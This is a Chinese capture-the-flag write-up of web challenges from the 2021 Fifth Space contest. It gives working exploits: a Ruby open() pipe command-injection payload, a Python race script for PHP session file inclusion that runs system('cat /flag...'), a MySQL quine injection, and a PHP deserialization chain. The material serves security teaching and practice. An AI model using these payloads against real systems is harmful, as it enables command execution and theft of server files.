2021 第三届第五空间网络安全大赛

2021 第三届第五空间网络安全大赛

PNG图片转换器

这是个Ruby的题目,给出了源码

require 'sinatra'
require 'digest'
require 'base64'

get '/' do
  open("./view/index.html", 'r').read()
end

get '/upload' do
  open("./view/upload.html", 'r').read()
end

post '/upload' do
  unless params[:file] && params[:file][:tempfile] && params[:file][:filename] && params[:file][:filename].split('.')[-1] == 'png'
    return "<script>alert('error');location.href='/upload';</script>"
  end
  begin
    filename = Digest::MD5.hexdigest(Time.now.to_i.to_s + params[:file][:filename]) + '.png'
    open(filename, 'wb') { |f|
      f.write open(params[:file][:tempfile],'r').read()
    }
    "Upload success, file stored at #{filename}"
  rescue
    'something wrong'
  end

end

get '/convert' do
  open("./view/convert.html", 'r').read()
end

post '/convert' do
  begin
    unless params['file']
      return "<script>alert('error');location.href='/convert';</script>"
    end

    file = params['file']
    unless file.index('..') == nil && file.index('/') == nil && file =~ /^(.+)\.png$/
      return "<script>alert('dont hack me');</script>"
    end
    res = open(file, 'r').read()
    headers 'Content-Type' => "text/html; charset=utf-8"
    "var img = document.createElement(\"img\");\nimg.src= \"data:image/png;base64," + Base64.encode64(res).gsub(/\s*/, '') + "\";\n"
  rescue
    'something wrong'
  end
end

关键点是在open函数,这个函数有个漏洞

其中说明了如果以|开头则会 fork 出一个进程,| 后面的内容则会当成一条命令执行

example:

cmd = open("|date")
print cmd.gets
cmd.close
=> 2018年 2月12日 星期一 21时37分45秒 CST

这么一来就相当于直接命令执行了,但是这里有个限制就是不能有/,因此需要对命令进行base64转码之后输入再解码执行。

在shell里面对base64加密之后的命令转码再执行的方式为:

 bHMgLw== | base64 -d |sh        #但是这样并不会显示出来
 echo bHMgLw== | base64 -d |sh  #这样就能把执行的内容显示出来了

最后还需要是.png结尾,因此用;把执行的命令和.png分开

payload:

file=|echo Y2F0IC8q | base64 -d |sh;.png

某个师傅发现了flag有写的权限之后把flag给改了(逃)

EasyCleanup

源码:

<?php
if(!isset($_GET['mode'])){
    highlight_file(__file__);
}else if($_GET['mode'] == "eval"){
    $shell = $_GET['shell'] ?? 'phpinfo();';
    if(strlen($shell) > 15 | filter($shell) | checkNums($shell)) exit("hacker");
    eval($shell);
}

if(isset($_GET['file'])){
    if(strlen($_GET['file']) > 15 | filter($_GET['file'])) exit("hacker");
    include $_GET['file'];
}

function filter($var): bool{
    $banned = ["while", "for", "\$_", "include", "env", "require", "?", ":", "^", "+", "-", "%", "*", "`"];
    foreach($banned as $ban){
        if(strstr($var, $ban)) return True;
    }
    return False;
}
function checkNums($var): bool{
    $alphanum = 'abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ';
    $cnt = 0;
    for($i = 0; $i < strlen($alphanum); $i++){
        for($j = 0; $j < strlen($var); $j++){
            if($var[$j] == $alphanum[$i]){
                $cnt += 1;
                if($cnt > 8) return True;
            }
        }
    }
    return False;
}
?>

大体意思就是让我们经过几个过滤函数之后,把一个文件给包含进来然后再执行命令,这里可能是个非预期解就是大家都做过挺多次的session上传临时文件包含,这里不再赘述,直接上脚本:

import io
import sys
import requests
import threading
sessid = 'cxx'
def POST(session):
    while True:
        f = io.BytesIO(b'a' * 1024 * 50)
        session.post(
            'http://xxx:32770/?mode=eval',
            data={"PHP_SESSION_UPLOAD_PROGRESS":"<?php system('cat /flag_is_here_not_are_but_you_find')?>"},
            files={"file":('q.txt', f)},
            cookies={'PHPSESSID':sessid}
        )
def READ(session):
    while True:
        response = session.get(f'http://xxx:32770/?mode=eval&file=/tmp/sess_{sessid}')
        # print('[+++]retry')
        # print(response.text)
        if 'flag' not in response.text:
            print('[+++]retry')
        else:
            print(response.text)
            sys.exit(0)
with requests.session() as session:
    t1 = threading.Thread(target=POST, args=(session, ))
    t1.daemon = True
    t1.start()
    READ(session)

由于这里的session文件不会被清除而且是公用靶机,因此这里有各种各样别人的session文件,需要找到个别人没用过的ssid才行。

yet_another_mysql_injection

sql注入题目,这次考的是quine注入,首先是根据F12有提示/?source有源码。

<?php
include_once("lib.php");
function alertMes($mes,$url){
    die("<script>alert('{$mes}');location.href='{$url}';</script>");
}

function checkSql($s) {
    if(preg_match("/regexp|between|in|flag|=|>|<|and|\||right|left|reverse|update|extractvalue|floor|substr|&|;|\\\$|0x|sleep|\ /i",$s)){
        alertMes('hacker', 'index.php');
    }
}

if (isset($_POST['username']) && $_POST['username'] != '' && isset($_POST['password']) && $_POST['password'] != '') {
    $username=$_POST['username'];
    $password=$_POST['password'];
    if ($username !== 'admin') {
        alertMes('only admin can login', 'index.php');
    }
    checkSql($password);
    $sql="SELECT password FROM users WHERE username='admin' and password='$password';";
    $user_result=mysqli_query($con,$sql);
    $row = mysqli_fetch_array($user_result);
    if (!$row) {
        alertMes("something wrong",'index.php');
    }
    if ($row['password'] === $password) {
    die($FLAG);
    } else {
    alertMes("wrong password",'index.php');
  }
}

if(isset($_GET['source'])){
  show_source(__FILE__);
  die;
}
?>

题目要求是根据输入的password进到数据库中查询password字段,返回的结果和你输入的password进行比较,相等就给flag。这里通过使用'or/**/1/**/like/**/1#是没有用的,因为数据库中根本就没有数据,这里考查的是quine注入。

quine注入的意思就是输入的内容和数据库返回的内容是一致的,这里给出国外的一个网站,由于我也只是看懂了一部分,没有找到中文讲得比较详细的文档。

https://www.shysecurity.com/post/20140705-SQLi-Quine

EXP:

def quine(data, debug=True):
    if debug: print data
    data = data.replace('$$',"REPLACE(REPLACE($$,CHAR(34),CHAR(39)),CHAR(36),$$)")
    blob = data.replace('$$','"$"').replace("'",'"')
    data = data.replace('$$',"'"+blob+"'")
    if debug: print data
    return data
data = quine("'UNION/**/SELECT/**/YY/**/AS/**/ZZ#")
print(data)

得到payload:

'UNION/**/SELECT/**/REPLACE(REPLACE('"UNION/**/SELECT/**/REPLACE(REPLACE("Y",CHAR(34),CHAR(39)),CHAR(89),"Y")/**/AS/**/ZZ#',CHAR(34),CHAR(39)),CHAR(89),'"UNION/**/SELECT/**/REPLACE(REPLACE("Y",CHAR(34),CHAR(39)),CHAR(89),"Y")/**/AS/**/ZZ#')/**/AS/**/ZZ#

WebFTP

image-20210916205421165

这是个很老的框架,网上也没找到有关的漏洞分析文章,而Github上找到了他的源码:https://github.com/wifeat/WebFTP

然后就是经典瞎找洞,默认密码被改了,然后登陆验证也没看出有什么问题,一筹莫展之际队里其他师傅看到mytz.php文件里面通过GET方式传act参数的值为phpinfo的时候能够显示phpinfo页面,然后flag就藏在环境变量里面(无语。。。。)

image-20210916210956049

pklovecloud

反序列化题目,源码:

<?php  
include 'flag.php';
class pkshow 
{  
    function echo_name()     
    {          
        return "Pk very safe^.^";      
    }  
} 

class acp 
{   
    protected $cinder;  
    public $neutron;
    public $nova;
    function __construct() 
    {      
        $this->cinder = new pkshow;
    }  
    function __toString()      
    {          
        if (isset($this->cinder))  
            return $this->cinder->echo_name();      
    }  
}  

class ace
{    
    public $filename;     
    public $openstack;
    public $docker; 
    function echo_name()      
    {   
        $this->openstack = unserialize($this->docker);
        $this->openstack->neutron = $heat;
        if($this->openstack->neutron === $this->openstack->nova)
        {
        $file = "./{$this->filename}";
            if (file_get_contents($file))         
            {              
                return file_get_contents($file); 
            }  
            else 
            { 
                return "keystone lost~"; 
            }    
        }
    }  
}  

if (isset($_GET['pks']))  
{
    $logData = unserialize($_GET['pks']);
    echo $logData; 
} 
else 
{ 
    highlight_file(__file__); 
}
?>

这里的一个小知识点是,ace类里面取了类外面的$heat变量赋值给了neutron属性,实际上这样是不行的,类里面是无法取到类外的变量的,因此这里的neutron的值是空,所以我们即使不知道$heat的值也能通过if的判断进入到文件读取的代码里面。

EXP:

<?php
class pkshow
{
    function echo_name()
    {
        return "Pk very safe^.^";
    }
}

class acp
{
    protected $cinder;
    public $neutron;
    public $nova;
    function __construct()
    {
        $b = new ace();
        $b->filename = "flag.php";
        $c = new pkshow();
        $c->nova = $heat;
        $b->docker = serialize($c);        
        $this->cinder = $b;
    }
    function __toString()
    {
        if (isset($this->cinder))
            return $this->cinder->echo_name();
    }
}

class ace
{
    public $filename;
    public $openstack;
    public $docker;
    function echo_name()
    {
        $this->openstack = unserialize($this->docker);
        $this->openstack->neutron = $heat;
        if($this->openstack->neutron === $this->openstack->nova)
        {
            $file = "./{$this->filename}";
            if (file_get_contents($file))
            {
                return file_get_contents($file);
            }
            else
            {
                return "keystone lost~";
            }
        }
    }
}

$a = new acp();
echo urlencode(serialize($a));
?>

得到payload:

O%3A3%3A%22acp%22%3A3%3A%7Bs%3A9%3A%22%00%2A%00cinder%22%3BO%3A3%3A%22ace%22%3A3%3A%7Bs%3A8%3A%22filename%22%3Bs%3A8%3A%22flag.php%22%3Bs%3A9%3A%22openstack%22%3BN%3Bs%3A6%3A%22docker%22%3Bs%3A30%3A%22O%3A6%3A%22pkshow%22%3A1%3A%7Bs%3A4%3A%22nova%22%3BN%3B%7D%22%3B%7Ds%3A7%3A%22neutron%22%3BN%3Bs%3A4%3A%22nova%22%3BN%3B%7D
暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇